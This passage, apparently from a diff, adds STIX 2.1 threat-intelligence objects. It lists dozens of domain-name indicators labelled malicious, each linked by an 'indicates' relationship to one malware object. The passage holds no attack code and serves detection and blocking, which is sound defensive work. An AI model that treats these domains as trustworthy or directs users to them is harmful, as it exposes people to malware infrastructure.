[ + "malicious-activity" + ], + "pattern": "[domain-name:value='rocketoncar.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.050905Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--708ea7d5-8798-4786-ac0a-1112380d83bd", + "created": "2023-03-29T12:58:45.051493Z", + "modified": "2023-03-29T12:58:45.051493Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c165438-6ace-440a-aa93-6e274f90ac7b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2101cfa7-7d3a-46fd-b727-69cfed7bae35", + "created": "2023-03-29T12:58:45.051685Z", + "modified": "2023-03-29T12:58:45.051685Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unwiredgrudging.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.051685Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c19ddcc4-8cbc-444d-9b69-68cc93d01a74", + "created": "2023-03-29T12:58:45.052285Z", + "modified": "2023-03-29T12:58:45.052285Z", + "relationship_type": "indicates", + "source_ref": "indicator--2101cfa7-7d3a-46fd-b727-69cfed7bae35", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6900a8c6-cd29-4a41-b0b7-db43bfd57365", + "created": "2023-03-29T12:58:45.052454Z", + "modified": "2023-03-29T12:58:45.052454Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='klicksuara.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.052454Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42fc6b34-f5f2-4c96-9a81-dc0e8f65921a", + "created": "2023-03-29T12:58:45.053046Z", + "modified": "2023-03-29T12:58:45.053046Z", + "relationship_type": "indicates", + "source_ref": "indicator--6900a8c6-cd29-4a41-b0b7-db43bfd57365", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5d13e25-5fd9-4dfe-8e05-173c3314deda", + "created": "2023-03-29T12:58:45.053214Z", + "modified": "2023-03-29T12:58:45.053214Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alphabetrepeal.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.053214Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3844518a-1f18-42cd-9b15-911a0c334a4c", + "created": "2023-03-29T12:58:45.053931Z", + "modified": "2023-03-29T12:58:45.053931Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5d13e25-5fd9-4dfe-8e05-173c3314deda", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6fe541a7-6be3-490a-98b1-7ec5f198d97e", + "created": "2023-03-29T12:58:45.054105Z", + "modified": "2023-03-29T12:58:45.054105Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='legalfavorably.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.054105Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d7a18fa3-4da3-4e90-b66d-e52b5d627165", + "created": "2023-03-29T12:58:45.054725Z", + "modified": "2023-03-29T12:58:45.054725Z", + "relationship_type": "indicates", + "source_ref": "indicator--6fe541a7-6be3-490a-98b1-7ec5f198d97e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ddade62-af77-4d41-b444-23ccd810168e", + "created": "2023-03-29T12:58:45.054896Z", + "modified": "2023-03-29T12:58:45.054896Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kompasgroup.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.054896Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3adfd5a7-2ec3-4b4e-b972-f9f0ec8e24db", + "created": "2023-03-29T12:58:45.055484Z", + "modified": "2023-03-29T12:58:45.055484Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ddade62-af77-4d41-b444-23ccd810168e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec24f474-fc04-46a4-a7cc-23d23552bd76", + "created": "2023-03-29T12:58:45.055655Z", + "modified": "2023-03-29T12:58:45.055655Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cuddlynumber.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.055655Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61bc4d88-7e3a-4780-8669-ac2097934be4", + "created": "2023-03-29T12:58:45.056245Z", + "modified": "2023-03-29T12:58:45.056245Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec24f474-fc04-46a4-a7cc-23d23552bd76", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--31c97368-cff6-4077-a69d-78d097420caa", + "created": "2023-03-29T12:58:45.056413Z", + "modified": "2023-03-29T12:58:45.056413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quotableuncheck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.056413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3108e54e-295a-440b-a7ad-5b0c8b6fb66a", + "created": "2023-03-29T12:58:45.057012Z", + "modified": "2023-03-29T12:58:45.057012Z", + "relationship_type": "indicates", + "source_ref": "indicator--31c97368-cff6-4077-a69d-78d097420caa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a2c9c2f-383d-43a2-b795-a39c7ce6e0ca", + "created": "2023-03-29T12:58:45.057182Z", + "modified": "2023-03-29T12:58:45.057182Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='collectedperky.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.057182Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e84e0ac-ee73-47a6-a77f-ad6f3279519b", + "created": "2023-03-29T12:58:45.05778Z", + "modified": "2023-03-29T12:58:45.05778Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a2c9c2f-383d-43a2-b795-a39c7ce6e0ca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9fc0dbd5-424e-40eb-9a31-7c76d20a0d01", + "created": "2023-03-29T12:58:45.057947Z", + "modified": "2023-03-29T12:58:45.057947Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='monthlytackle.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.057947Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58a0aee2-68f0-4ce1-98ad-7aba51ef9fbf", + "created": "2023-03-29T12:58:45.058544Z", + "modified": "2023-03-29T12:58:45.058544Z", + "relationship_type": "indicates", + "source_ref": "indicator--9fc0dbd5-424e-40eb-9a31-7c76d20a0d01", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--010f4ae6-066f-42fe-97d5-34054ae88e0e", + "created": "2023-03-29T12:58:45.058712Z", + "modified": "2023-03-29T12:58:45.058712Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ordinaryringluck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.058712Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af6ac3ef-8e2e-4693-8799-d750ac2658b7", + "created": "2023-03-29T12:58:45.05931Z", + "modified": "2023-03-29T12:58:45.05931Z", + "relationship_type": "indicates", + "source_ref": "indicator--010f4ae6-066f-42fe-97d5-34054ae88e0e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--beab0977-8075-496a-9348-891d6a53b0c4", + "created": "2023-03-29T12:58:45.059478Z", + "modified": "2023-03-29T12:58:45.059478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='starboardfreebee.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.059478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--43585acb-28b5-4e98-b224-8046427d9278", + "created": "2023-03-29T12:58:45.060073Z", + "modified": "2023-03-29T12:58:45.060073Z", + "relationship_type": "indicates", + "source_ref": "indicator--beab0977-8075-496a-9348-891d6a53b0c4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--677b48da-973f-4133-ba84-21c6024f94a5", + "created": "2023-03-29T12:58:45.060242Z", + "modified": "2023-03-29T12:58:45.060242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='automatedsynopsis.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.060242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57aa26de-80ee-4d22-992a-3a8812d8833e", + "created": "2023-03-29T12:58:45.061216Z", + "modified": "2023-03-29T12:58:45.061216Z", + "relationship_type": "indicates", + "source_ref": "indicator--677b48da-973f-4133-ba84-21c6024f94a5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--df0e13d0-49ea-456e-810d-7a8b3552ce2f", + "created": "2023-03-29T12:58:45.06139Z", + "modified": "2023-03-29T12:58:45.06139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dislikingsatisfied.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.06139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b72e71e2-2d76-4e7b-b5b3-0f9234688321", + "created": "2023-03-29T12:58:45.062Z", + "modified": "2023-03-29T12:58:45.062Z", + "relationship_type": "indicates", + "source_ref": "indicator--df0e13d0-49ea-456e-810d-7a8b3552ce2f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fbd9bf2e-d847-4a11-b748-c9bde4be3c46", + "created": "2023-03-29T12:58:45.06217Z", + "modified": "2023-03-29T12:58:45.06217Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='javagratified.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.06217Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04acbe43-342a-4ea3-bf93-e667f20e8018", + "created": "2023-03-29T12:58:45.062761Z", + "modified": "2023-03-29T12:58:45.062761Z", + "relationship_type": "indicates", + "source_ref": "indicator--fbd9bf2e-d847-4a11-b748-c9bde4be3c46", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3374f8ab-a1ad-4957-86e2-82c6d044ac73", + "created": "2023-03-29T12:58:45.062932Z", + "modified": "2023-03-29T12:58:45.062932Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pagerroping.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.062932Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd22d806-4d2c-4c43-be65-5dbad908770f", + "created": "2023-03-29T12:58:45.06352Z", + "modified": "2023-03-29T12:58:45.06352Z", + "relationship_type": "indicates", + "source_ref": "indicator--3374f8ab-a1ad-4957-86e2-82c6d044ac73", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8dbbbdb2-4fd1-4a86-98b5-1a2ab69ebd55", + "created": "2023-03-29T12:58:45.063689Z", + "modified": "2023-03-29T12:58:45.063689Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='claspmangle.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.063689Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--413fde19-4fff-454b-a84d-cf19b47838e7", + "created": "2023-03-29T12:58:45.06428Z", + "modified": "2023-03-29T12:58:45.06428Z", + "relationship_type": "indicates", + "source_ref": "indicator--8dbbbdb2-4fd1-4a86-98b5-1a2ab69ebd55", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f4996460-4e6f-42a6-961b-03671177a0ca", + "created": "2023-03-29T12:58:45.064448Z", + "modified": "2023-03-29T12:58:45.064448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='privaware.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.064448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be9a44eb-7b8b-4049-b341-5bcfdbb31de9", + "created": "2023-03-29T12:58:45.065031Z", + "modified": "2023-03-29T12:58:45.065031Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4996460-4e6f-42a6-961b-03671177a0ca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b93ab72-bd2b-4bc7-9169-dfa4b86a8edd", + "created": "2023-03-29T12:58:45.0652Z", + "modified": "2023-03-29T12:58:45.0652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spreerented.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.0652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2092dec-e4c0-460a-939b-962bc4d4eb11", + "created": "2023-03-29T12:58:45.065793Z", + "modified": "2023-03-29T12:58:45.065793Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b93ab72-bd2b-4bc7-9169-dfa4b86a8edd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--295dde37-dd3e-406e-a773-33d1f73f1cdd", + "created": "2023-03-29T12:58:45.065972Z", + "modified": "2023-03-29T12:58:45.065972Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='karaokeoppressed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.065972Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f2fe6035-ed2a-491b-bbae-e749018b02a6", + "created": "2023-03-29T12:58:45.066565Z", + "modified": "2023-03-29T12:58:45.066565Z", + "relationship_type": "indicates", + "source_ref": "indicator--295dde37-dd3e-406e-a773-33d1f73f1cdd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7dbf99b8-7d7e-476c-8478-bd472bea632a", + "created": "2023-03-29T12:58:45.066731Z", + "modified": "2023-03-29T12:58:45.066731Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twentynutty.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.066731Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--832acd2d-21dc-4503-ba8e-c431795af4ab", + "created": "2023-03-29T12:58:45.067317Z", + "modified": "2023-03-29T12:58:45.067317Z", + "relationship_type": "indicates", + "source_ref": "indicator--7dbf99b8-7d7e-476c-8478-bd472bea632a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--436ac89a-d7c3-4105-acf3-58aacb72f0e1", + "created": "2023-03-29T12:58:45.067484Z", + "modified": "2023-03-29T12:58:45.067484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='argueheadstand.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.067484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3197791c-43be-40b4-8225-1081e7899c4b", + "created": "2023-03-29T12:58:45.068072Z", + "modified": "2023-03-29T12:58:45.068072Z", + "relationship_type": "indicates", + "source_ref": "indicator--436ac89a-d7c3-4105-acf3-58aacb72f0e1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ed3ce88-8f3f-4c49-89e0-0174fd8286d8", + "created": "2023-03-29T12:58:45.068241Z", + "modified": "2023-03-29T12:58:45.068241Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twistythumb.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.068241Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7732cd19-edb1-4eab-8f2b-44aa79367192", + "created": "2023-03-29T12:58:45.068946Z", + "modified": "2023-03-29T12:58:45.068946Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ed3ce88-8f3f-4c49-89e0-0174fd8286d8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d7503f3-b9d3-4d7f-aded-19bb186e4e43", + "created": "2023-03-29T12:58:45.069119Z", + "modified": "2023-03-29T12:58:45.069119Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sterileextrude.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.069119Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01787213-1827-498a-9803-d4f15c49bca8", + "created": "2023-03-29T12:58:45.06973Z", + "modified": "2023-03-29T12:58:45.06973Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d7503f3-b9d3-4d7f-aded-19bb186e4e43", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e90f689f-d802-4d42-8d61-2fcfb54bc243", + "created": "2023-03-29T12:58:45.069902Z", + "modified": "2023-03-29T12:58:45.069902Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gallstonegrew.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.069902Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57a76a95-5f2e-4475-b626-3089b966dd1c", + "created": "2023-03-29T12:58:45.070494Z", + "modified": "2023-03-29T12:58:45.070494Z", + "relationship_type": "indicates", + "source_ref": "indicator--e90f689f-d802-4d42-8d61-2fcfb54bc243", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2420648-774a-4f91-96e9-85ac12b078d6", + "created": "2023-03-29T12:58:45.070662Z", + "modified": "2023-03-29T12:58:45.070662Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paycheckswapping.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.070662Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--00f3bb63-e823-4f60-982c-26860f0d4480", + "created": "2023-03-29T12:58:45.071255Z", + "modified": "2023-03-29T12:58:45.071255Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2420648-774a-4f91-96e9-85ac12b078d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--df9e59fd-1361-4e10-8601-3044a9236323", + "created": "2023-03-29T12:58:45.071436Z", + "modified": "2023-03-29T12:58:45.071436Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='winningsdwarf.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.071436Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b5c4b2ff-88ca-4e4b-a96e-639bcb414863", + "created": "2023-03-29T12:58:45.072028Z", + "modified": "2023-03-29T12:58:45.072028Z", + "relationship_type": "indicates", + "source_ref": "indicator--df9e59fd-1361-4e10-8601-3044a9236323", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa75d1b6-5ef9-458a-9609-3d88ed041fdf", + "created": "2023-03-29T12:58:45.072196Z", + "modified": "2023-03-29T12:58:45.072196Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='victorscivils.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.072196Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3792ee64-5242-4219-8a49-0e2b4aea753d", + "created": "2023-03-29T12:58:45.0728Z", + "modified": "2023-03-29T12:58:45.0728Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa75d1b6-5ef9-458a-9609-3d88ed041fdf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3e56634-97da-4186-9c65-64cdf1eb20a8", + "created": "2023-03-29T12:58:45.072971Z", + "modified": "2023-03-29T12:58:45.072971Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='helo-babe.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.072971Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd6aee75-de83-47bb-8496-9ae1a028dbb2", + "created": "2023-03-29T12:58:45.073567Z", + "modified": "2023-03-29T12:58:45.073567Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3e56634-97da-4186-9c65-64cdf1eb20a8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79555d77-9ae6-476f-bb13-10739abffb6f", + "created": "2023-03-29T12:58:45.073736Z", + "modified": "2023-03-29T12:58:45.073736Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='falsebreeder.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.073736Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f82615c5-82cc-4687-b100-13d924b21a8c", + "created": "2023-03-29T12:58:45.074325Z", + "modified": "2023-03-29T12:58:45.074325Z", + "relationship_type": "indicates", + "source_ref": "indicator--79555d77-9ae6-476f-bb13-10739abffb6f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eff2a975-ebb4-43f3-8f99-a52ab005b5e7", + "created": "2023-03-29T12:58:45.074494Z", + "modified": "2023-03-29T12:58:45.074494Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wonderonbrain.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.074494Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--12597e74-f6ba-447a-a9ec-cb225552f189", + "created": "2023-03-29T12:58:45.075083Z", + "modified": "2023-03-29T12:58:45.075083Z", + "relationship_type": "indicates", + "source_ref": "indicator--eff2a975-ebb4-43f3-8f99-a52ab005b5e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5602762f-a8d0-4a8e-8cd7-3a48d1444980", + "created": "2023-03-29T12:58:45.07525Z", + "modified": "2023-03-29T12:58:45.07525Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surrealeffort.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.07525Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc8aaf41-aa58-47d6-8f7e-4a048763312a", + "created": "2023-03-29T12:58:45.075979Z", + "modified": "2023-03-29T12:58:45.075979Z", + "relationship_type": "indicates", + "source_ref": "indicator--5602762f-a8d0-4a8e-8cd7-3a48d1444980", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e0d6d319-f2f0-43d7-af78-939dcc5b622d", + "created": "2023-03-29T12:58:45.076153Z", + "modified": "2023-03-29T12:58:45.076153Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cottonstubbed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.076153Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ecb8df22-7540-4651-a567-227fcd31d950", + "created": "2023-03-29T12:58:45.076748Z", + "modified": "2023-03-29T12:58:45.076748Z", + "relationship_type": "indicates", + "source_ref": "indicator--e0d6d319-f2f0-43d7-af78-939dcc5b622d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7bef436f-88d9-4df6-b181-a3cbca960dd3", + "created": "2023-03-29T12:58:45.07692Z", + "modified": "2023-03-29T12:58:45.07692Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tipoffthieving.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.07692Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9c6f7de0-3915-4112-9156-83033d69bf5c", + "created": "2023-03-29T12:58:45.077508Z", + "modified": "2023-03-29T12:58:45.077508Z", + "relationship_type": "indicates", + "source_ref": "indicator--7bef436f-88d9-4df6-b181-a3cbca960dd3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d447e498-6cbf-4377-b772-494eed076016", + "created": "2023-03-29T12:58:45.077681Z", + "modified": "2023-03-29T12:58:45.077681Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perkyprogress.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.077681Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--48fb3b5b-30c6-4e4d-a11c-6cd16c750f1b", + "created": "2023-03-29T12:58:45.078272Z", + "modified": "2023-03-29T12:58:45.078272Z", + "relationship_type": "indicates", + "source_ref": "indicator--d447e498-6cbf-4377-b772-494eed076016", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8451fe2c-874b-496c-87db-bfcfbe255d6f", + "created": "2023-03-29T12:58:45.07844Z", + "modified": "2023-03-29T12:58:45.07844Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amusablefloss.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.07844Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f565490-3f5b-4ba0-a525-f6a251ad2e0b", + "created": "2023-03-29T12:58:45.079035Z", + "modified": "2023-03-29T12:58:45.079035Z", + "relationship_type": "indicates", + "source_ref": "indicator--8451fe2c-874b-496c-87db-bfcfbe255d6f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0acd8e67-5afa-4caa-b09c-ed4b820a37e0", + "created": "2023-03-29T12:58:45.079202Z", + "modified": "2023-03-29T12:58:45.079202Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crucialunviable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.079202Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f3cce15b-6ed8-4a2d-bbf2-de788c7facbe", + "created": "2023-03-29T12:58:45.079796Z", + "modified": "2023-03-29T12:58:45.079796Z", + "relationship_type": "indicates", + "source_ref": "indicator--0acd8e67-5afa-4caa-b09c-ed4b820a37e0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--34de30e8-767c-4387-83ea-28e54ef9a40e", + 